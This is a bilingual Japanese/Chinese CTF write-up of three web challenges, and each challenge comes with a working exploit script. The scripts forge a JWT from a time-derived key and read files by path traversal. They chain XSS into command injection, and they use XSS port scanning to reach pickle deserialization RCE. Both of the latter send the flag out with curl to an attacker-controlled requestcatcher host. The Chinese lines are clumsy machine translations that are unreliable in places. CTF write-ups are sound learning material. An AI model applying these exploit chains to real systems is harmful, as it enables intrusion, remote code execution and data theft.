[Web] Random [网页] 随机
ソースコード有り。ファイルを閲覧できるサイトが与えられるが、利用するにはまず、以下の検証を突破する必要がある。
提供源代码。 您将获得一个可以查看文件的站点,但要使用它,您必须首先通过以下验证。
time_started = round(time.time())
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()
@app.before_request
def check_auth():
session = request.cookies.get('session', None)
if session is None:
abort(403)
try:
payload = jwt.decode(session, APP_SECRET, algorithms=['HS256'])
if payload['userid'] != 0:
abort(401)
except:
abort(Response(f'<h1>NOT AUTHORIZED</h1><br><br><br><br><br> This system has been up for {round(time.time()-time_started)} seconds fyi :wink:', status=403))
検証を突破するJWTトークンを作成する必要があるのだが、脆弱な部分が鍵をサーバ起動時の現在時刻から生成している部分。今回は検証に失敗しexceptに入ると、サーバが起動してからの時間が取得できる。この情報から、サーバの起動時間が逆算でき、つまり、鍵が復元できる。PoCは後で共有するとして、認証を突破できたら、フラグは/in_prod_this_is_random/flag.txt
にあるので、これを何とか持って来る必要がある。以下の部分でファイルが持ってこれそうだ。
需要创建一个突破验证的 JWT 令牌,但易受攻击的部分是服务器启动时从当前时间生成密钥的部分。 这一次,如果验证失败并且您输入 except,您可以获取自服务器启动以来的时间。 根据这些信息,可以向后计算服务器的启动时间,即可以恢复密钥。 PoC 稍后会共享,但如果你能突破身份验证,标志就在 /in_prod_this_is_random/flag.txt
,所以你需要以某种方式带来这个。 该文件似乎在以下部分中。
@app.route('/api/file', methods=['GET'])
def get_file():
filename = request.args.get('filename', None)
if filename is None:
abort(Response('No filename provided', status=400))
while '../' in filename:
filename = filename.replace('../', '')
return open(os.path.join('files/', filename),'rb').read()
os.path.join
は妙な動きをすることが知られており、第二引数に絶対パスが与えられると全体がその絶対パスに上書きされるということが起こる。よって、filepathに/in_prod_this_is_random/flag.txt
と指定すれば、../
で戻ることなくルートからファイルを指定可能。…とやると失敗。in_prod_this_is_random
というのをちゃんと読んでなかったが、このパスもどこかから持って来る必要があるようだ。これは/proc/self/environ
を取得すると取れた。ということで以下のスクリプトでフラグが得られる。
os.path.join
已知行为异常,如果给出绝对路径作为第二个参数,则整体将被绝对路径覆盖。 因此,如果将 filepath 指定 /in_prod_this_is_random/flag.txt
为 ,则可以从根目录指定一个文件,而不返回 ../
。 … 如果你这样做,你就会失败。 in_prod_this_is_random
我没有看好,但似乎这张通行证也需要从某个地方带来。 这是通过 /proc/self/environ
检索 . 因此,您可以使用以下脚本获取标志。
import requests
import jwt, re, time, hashlib
BASE = 'https://random.chal.cyberjousting.com'
def get_token(secret):
return jwt.encode({ "userid" : 0 }, secret, algorithm="HS256")
def test(secret):
r = requests.get(f"{BASE}/", cookies={"session":get_token(secret)})
return r.status_code != 403
r = requests.get(F"{BASE}/", cookies={"session":"hoge"}).text
running_time = int(re.search(r'(\d+) seconds', r).group(1))
calcurated_time_started = round(time.time()) - running_time
actual_time_started = -1
for d in range(-1,2):
secret = hashlib.sha256(str(calcurated_time_started + d).encode()).hexdigest()
if test(secret) == True:
actual_time_started = calcurated_time_started + d
assert 0 < actual_time_started
secret = hashlib.sha256(str(actual_time_started).encode()).hexdigest()
secret_path = requests.get(f"{BASE}/api/file?filename=/proc/self/environ", cookies={"session":get_token(secret)}).text.split('/')[-1][:-1]
r = requests.get(f"{BASE}/api/file?filename=/{secret_path}/flag.txt", cookies={"session":get_token(secret)}).text
print(r)
[Web] Not a Problem
[网页] 没问题
ソースコード有り。admin botとpythonで作られたサイトが与えられる。pythonで作られた方で面白そうなのは以下の関数。
提供源代码。 您将获得一个由管理员机器人和 python 组成的网站。 对于用 Python 制作的函数来说,以下函数似乎很有趣。
@app.route('/api/date', methods=['GET'])
def get_date():
cookie = request.cookies.get('secret')
if cookie == None:
return '{"error": "Unauthorized"}'
if cookie != SECRET:
return '{"error": "Unauthorized"}'
modifier = request.args.get('modifier','')
return '{"date": "'+subprocess.getoutput("date "+modifier)+'"}'
明らかなコマンドインジェクションがある。試しにdateを含めたURLをbotに送ってみるとエラーが出た。admin bot側でdateが含まれているか検証していた。
有明显的命令注入。 当我尝试向机器人发送包含日期的 URL 时,出现了错误。 Admin Bot 端正在验证是否包含日期。
if (url.includes("date") || url.includes("%")) {
res.send('Error: "date" is not allowed in the URL')
return
}
何か別の方法を考えよう。以下の部分はどうだろうか。
让我们想想别的事情。 以下部分呢?
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
for stat in stats:
if stat['id'] == id:
return str(stat['data'])
return '{"error": "Not found"}'
@app.route('/api/stats', methods=['POST'])
def add_stats():
try:
username = request.json['username']
high_score = int(request.json['high_score'])
except:
return '{"error": "Invalid request"}'
id = str(uuid.uuid4())
stats.append({
'id': id,
'data': [username, high_score]
})
return '{"success": "Added", "id": "'+id+'"}'
入力を入れて出力しているがXSS対策がなされているようには見えない。試しに以下のようにXSSコードを入れ込んでみるとsタグが動くことが確認できた。
输入和输出,但似乎没有 XSS 对位。 当我尝试按如下方式插入 XSS 代码时,我能够确认 s 标签是否有效。
import requests
import json
BASE = 'http://localhost:40001'
t = requests.post(f"{BASE}/api/stats", json={'username':'<s>asdf<\s>','high_score':1}).text
generated_id = json.loads(t)['id']
t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)
ということで、この部分をリダイレクタとして活用することにしよう。XSSでリダイレクトしてコマンドインジェクションして外部送信するURLを作るPoCは以下。
因此,让我们将这部分用作重定向器。 使用 XSS 重定向、注入命令并创建要向外部发送的 URL 的 PoC 如下所示。
import requests
import json
import urllib.parse
BASE = 'https://not-a-problem.chal.cyberjousting.com'
command = 'cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @-'
command = urllib.parse.quote(command)
payload = "<meta http-equiv=refresh content='0; url=http://127.0.0.1:1337/api/date?modifier=`" + command + "`'>"
t = requests.post(f"{BASE}/api/stats", json={'username':payload,'high_score':1}).text
generated_id = json.loads(t)['id']
t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)
得られたURLを踏ませれば、requestcatherにフラグが飛んでくる。
如果您踩到获取的 URL,则会向 requestcather 飞出一个标志。
[Web] Triple Whammy [网页] 三重打击
ソースコード有り。まず、明らかなXSSポイントがある。
提供源代码。 首先,有明显的XSS点。
@app.route('/', methods=['GET'])
def main():
name = request.args.get('name','')
return 'Nope still no front end, front end is for noobs '+name
admin botもあり、cookieでSECRETを渡していて、以下のようにSECRETを検証している所があるので、これを踏ませるのだろう。
还有一个管理机器人,它会在 cookie 中传递 SECRET 并验证 SECRET,如下所示,所以我想我会踩到它。
@app.route('/query', methods=['POST'])
def query():
cookie = request.cookies.get('secret')
if cookie == None:
return {"error": "Unauthorized"}
if cookie != SECRET:
return {"error": "Unauthorized"}
try:
url = request.json['url']
except:
return {"error": "No URL provided"}
if url == None:
return {"error": "No URL provided"}
try:
url_parsed = urlparse(url)
if url_parsed.scheme not in ['http', 'https'] or url_parsed.hostname != '127.0.0.1':
return {"error": "Invalid URL"}
except:
return {"error": "Invalid URL"}
try:
requests.get(url)
except:
return {"error": "Invalid URL"}
return {"success": "Requested"}
特に気になる所は無い。特筆すべき所として、internal.pyというのが別途動いている。これをこの/query
経由で呼ぶのだろう。
没有什么可担心的。 值得一提的是,internal.py 是分开工作的。 这就是我们通过这个来称呼 /query
它。
from flask import Flask, request
import pickle, random
app = Flask(__name__)
port = random.randint(5700, 6000)
print(port)
@app.route('/pickle', methods=['GET'])
def main():
pickle_bytes = request.args.get('pickle')
if pickle_bytes is None:
return 'No pickle bytes'
try:
b = bytes.fromhex(pickle_bytes)
except:
return 'Invalid hex'
try:
data = pickle.loads(b)
except:
return 'Invalid pickle'
return str(data)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=port, threaded=True)
pickleのデリアライズをするが、ポートがランダムで指定されている。なので、XSSでポートスキャンして、そのあと、Pickleのシリアライズ物を送ってやる。後は既存手法の組み合わせ。以下のようなPoCコード。
泡菜是去现实化的,但端口是随机指定的。 因此,我将使用 XSS 进行端口扫描,然后发送 Pickle 序列化。 其余的是现有方法的组合。 PoC代码如下。
pickle作るときに先頭に0x00を4つつけるものとそうでないものがあるけれど、どういう条件の違いがあるんだろう。b"\x00"*4 + payload
みたいなやつ。
制作泡菜时,有些开始时有四个0x00,有些则没有,但条件有什么区别? b"\x00"*4 + payload
类似的东西。
import requests
from urllib.parse import quote
CATCHER = 'https://[yours].requestcatcher.com/out'
payload = '''
<script>
for (let port = 5700; port <= 6000; port++) {
const url = 'http://127.0.0.1:' + port.toString();
fetch(url, {mode: 'no-cors'}).then(res => {
fetch('<<<CATCHER>>>', { method: "POST", body: port })
});
}
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)
print('====== STAGE 1 =======')
print('?name='+quote(payload))
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/out -X POST -d @-')
return os.system, (cmd,)
def generate_exploit():
payload = pickle.dumps(RCE())
return payload
payload = '''
<script>
fetch('http://127.0.0.1:5863/pickle?pickle=<<<PICKLED>>>', {mode: 'no-cors'}).then(response => {
fetch('<<<CATCHER>>>', { method: "POST", body: "launched!"});
});
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)
payload = payload.replace("<<<PICKLED>>>", generate_exploit().hex())
print('====== STAGE 2 =======')
print('?name='+quote(payload))
STAGE 1でポートを特定し、STAGE 2でRCE。
确定第 1 阶段的端口和第 2 阶段的 RCE。